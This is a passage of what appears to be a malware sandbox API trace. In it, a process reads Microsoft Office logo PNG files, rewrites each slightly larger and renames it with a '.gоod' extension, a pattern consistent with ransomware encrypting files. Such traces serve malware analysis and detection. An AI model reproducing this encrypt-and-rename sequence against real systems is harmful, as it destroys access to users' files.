lpNumberOfBytesRead=0x1fcee238*=0x839, lpOverlapped=0x0) returned 1 [0197.423] CloseHandle (hObject=0x6e0) returned 1 [0197.729] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-80.png", lpFilePart=0x0) returned 0x51 [0197.729] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0197.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.scale-80.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0197.733] GetFileType (hFile=0x828) returned 0x1 [0197.733] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0197.733] GetFileType (hFile=0x828) returned 0x1 [0197.733] WriteFile (in: hFile=0x828, lpBuffer=0x3670930*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3670930*, lpNumberOfBytesWritten=0x1fcee148*=0x840, lpOverlapped=0x0) returned 1 [0197.734] CloseHandle (hObject=0x828) returned 1 [0197.734] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-80.png", lpFilePart=0x0) returned 0x51 [0197.734] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-80.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-80.png.gоod", lpFilePart=0x0) returned 0x56 [0197.734] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0197.734] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7212fc28, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x840)) returned 1 [0197.734] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0197.735] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.scale-80.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-80.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.scale-80.png.gоod")) returned 1 [0197.735] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x66 [0197.735] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0197.735] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-black_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x3671c08 | out: lpFileInformation=0x3671c08*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a8c7801, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a8c7801, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a8c7801, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x721)) returned 1 [0197.736] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0197.736] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x66 [0197.736] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0197.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-black_scale-100.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0197.736] GetFileType (hFile=0x828) returned 0x1 [0197.736] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0197.736] GetFileType (hFile=0x828) returned 0x1 [0197.736] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x721 [0197.736] ReadFile (in: hFile=0x828, lpBuffer=0x36726c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x36726c8*, lpNumberOfBytesRead=0x1fcee238*=0x721, lpOverlapped=0x0) returned 1 [0197.784] CloseHandle (hObject=0x828) returned 1 [0197.817] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x66 [0197.817] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0197.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-black_scale-100.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0197.818] GetFileType (hFile=0x828) returned 0x1 [0197.818] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0197.818] GetFileType (hFile=0x828) returned 0x1 [0197.818] WriteFile (in: hFile=0x828, lpBuffer=0x3769a28*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3769a28*, lpNumberOfBytesWritten=0x1fcee148*=0x730, lpOverlapped=0x0) returned 1 [0197.819] CloseHandle (hObject=0x828) returned 1 [0197.819] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x66 [0197.819] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-100.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-100.png.gоod", lpFilePart=0x0) returned 0x6b [0197.819] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0197.819] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-black_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8c7801, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a8c7801, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x721ee51b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x730)) returned 1 [0197.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0197.819] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-black_scale-100.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-100.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-black_scale-100.png.gоod")) returned 1 [0197.820] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x66 [0197.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0197.820] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-black_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x376ad78 | out: lpFileInformation=0x376ad78*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x816)) returned 1 [0197.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0197.820] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x66 [0197.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0197.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-black_scale-140.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0197.820] GetFileType (hFile=0x828) returned 0x1 [0197.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0197.820] GetFileType (hFile=0x828) returned 0x1 [0197.820] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x816 [0197.820] ReadFile (in: hFile=0x828, lpBuffer=0x376b928, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x376b928*, lpNumberOfBytesRead=0x1fcee238*=0x816, lpOverlapped=0x0) returned 1 [0197.829] CloseHandle (hObject=0x828) returned 1 [0197.839] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x66 [0197.840] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0197.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-black_scale-140.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0197.841] GetFileType (hFile=0x828) returned 0x1 [0197.841] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0197.841] GetFileType (hFile=0x828) returned 0x1 [0197.841] WriteFile (in: hFile=0x828, lpBuffer=0x37e7fe8*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x37e7fe8*, lpNumberOfBytesWritten=0x1fcee148*=0x820, lpOverlapped=0x0) returned 1 [0197.842] CloseHandle (hObject=0x828) returned 1 [0197.842] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x66 [0197.842] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-140.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-140.png.gоod", lpFilePart=0x0) returned 0x6b [0197.842] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0197.842] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-black_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7223ad1e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x820)) returned 1 [0197.842] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0197.842] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-black_scale-140.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-140.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-black_scale-140.png.gоod")) returned 1 [0197.843] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x66 [0197.843] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0197.843] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-black_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x37e9338 | out: lpFileInformation=0x37e9338*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992206f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa37)) returned 1 [0197.843] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0197.843] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x66 [0197.843] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0197.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-black_scale-180.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0197.843] GetFileType (hFile=0x828) returned 0x1 [0197.843] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0197.843] GetFileType (hFile=0x828) returned 0x1 [0197.843] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xa37 [0197.843] ReadFile (in: hFile=0x828, lpBuffer=0x37ea108, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x37ea108*, lpNumberOfBytesRead=0x1fcee238*=0xa37, lpOverlapped=0x0) returned 1 [0197.987] CloseHandle (hObject=0x828) returned 1 [0198.827] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x66 [0198.828] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0198.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-black_scale-180.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x848 [0198.832] GetFileType (hFile=0x848) returned 0x1 [0198.832] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0198.832] GetFileType (hFile=0x848) returned 0x1 [0198.832] WriteFile (in: hFile=0x848, lpBuffer=0x37e2270*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x37e2270*, lpNumberOfBytesWritten=0x1fcee148*=0xa40, lpOverlapped=0x0) returned 1 [0198.833] CloseHandle (hObject=0x848) returned 1 [0198.833] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x66 [0198.833] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-180.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-180.png.gоod", lpFilePart=0x0) returned 0x6b [0198.834] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0198.834] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-black_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x72baa13e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xa40)) returned 1 [0198.834] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0198.834] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-black_scale-180.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-180.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-black_scale-180.png.gоod")) returned 1 [0198.835] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x65 [0198.835] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0198.835] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-black_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x37e35c0 | out: lpFileInformation=0x37e35c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198fbe19, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x656)) returned 1 [0198.835] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0198.835] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x65 [0198.835] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0198.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-black_scale-80.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x848 [0198.835] GetFileType (hFile=0x848) returned 0x1 [0198.835] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0198.835] GetFileType (hFile=0x848) returned 0x1 [0198.835] GetFileSize (in: hFile=0x848, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x656 [0198.835] ReadFile (in: hFile=0x848, lpBuffer=0x37e3fb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x37e3fb0*, lpNumberOfBytesRead=0x1fcee238*=0x656, lpOverlapped=0x0) returned 1 [0198.837] CloseHandle (hObject=0x848) returned 1 [0198.849] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x65 [0198.849] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0198.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-black_scale-80.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x848 [0198.850] GetFileType (hFile=0x848) returned 0x1 [0198.850] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0198.850] GetFileType (hFile=0x848) returned 0x1 [0198.850] WriteFile (in: hFile=0x848, lpBuffer=0x385e790*, nNumberOfBytesToWrite=0x660, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x385e790*, lpNumberOfBytesWritten=0x1fcee148*=0x660, lpOverlapped=0x0) returned 1 [0198.851] CloseHandle (hObject=0x848) returned 1 [0198.851] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x65 [0198.851] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-80.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-80.png.gоod", lpFilePart=0x0) returned 0x6a 